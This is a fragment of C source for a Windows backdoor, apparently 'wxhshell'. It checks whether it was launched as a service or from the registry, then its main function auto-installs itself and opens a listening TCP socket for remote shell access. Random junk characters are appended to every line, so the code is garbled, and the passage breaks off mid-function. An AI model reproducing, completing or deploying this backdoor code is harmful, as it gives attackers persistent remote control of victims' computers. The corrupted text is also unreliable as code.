DWORD BasePriority; vf/|b6'y
ULONG UniqueProcessId; Ek,$XH
ULONG InheritedFromUniqueProcessId; mY0FewwTy
} PROCESS_BASIC_INFORMATION; *]+5T-R% $
rpMjDjW
PROCNTQSIP NtQueryInformationProcess; /~}<[6ZGCY
mj|TWDcj+
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <}n"gk1is
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \\v1\
vQsI^p
HANDLE hProcess; Gid6,J
PROCESS_BASIC_INFORMATION pbi; h $2lO^
~ "stI
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]Z=O+7(r
if(NULL == hInst ) return 0; ! ~3zp L
"S^""5
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); g$9EI\a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Z!3[.%F
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Gcp!"y=i
"D[/o8Hk
if (!NtQueryInformationProcess) return 0; /A"UV\H`f
bd[%=5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uj^l&"
if(!hProcess) return 0; df@G+v0_1
atYe$Db
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; m=Fk
"|6763.{4
CloseHandle(hProcess); "e@?^J)
VB&`g<
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >8=rD
if(hProcess==NULL) return 0; ,); -v4$
F_z1ey`t
HMODULE hMod; *di}rQHm
char procName[255]; CI+@GXY
unsigned long cbNeeded; NjP7?nXSx
\Rz-*zr&
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); y6`zdB
Z?j4WJy-[
CloseHandle(hProcess); 2YhtD A
:WHbwu,L$
if(strstr(procName,"services")) return 1; // 以服务启动
`ZZq Sc4
0.lOSAq
return 0; // 注册表启动 PsCr[\Ul
} AroYDR,3+
|Wz`#<t
// 主模块 CaqqH`/E4
int StartWxhshell(LPSTR lpCmdLine) L{uQ:;w1
{ / &#b*46
SOCKET wsl; C{2y*sx
BOOL val=TRUE; hB??~>i3
int port=0; p$_X\,F
struct sockaddr_in door; t;L7H E@Y
d[$YTw
if(wscfg.ws_autoins) Install(); O#3PUuE%d
o*Kl`3=]
port=atoi(lpCmdLine); .XPPd?R
c(r8
F[4w
if(port<=0) port=wscfg.ws_port; eiwPp9[08
*Vr;rk
WSADATA data; ) ={
H
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -'~61=PD
S?e*<s9k
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; M$MFUGS'
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &hSF
door.sin_family = AF_INET; FC
}r~syqA
door.sin_addr.s_addr = inet_addr("127.0.0.1"); :!<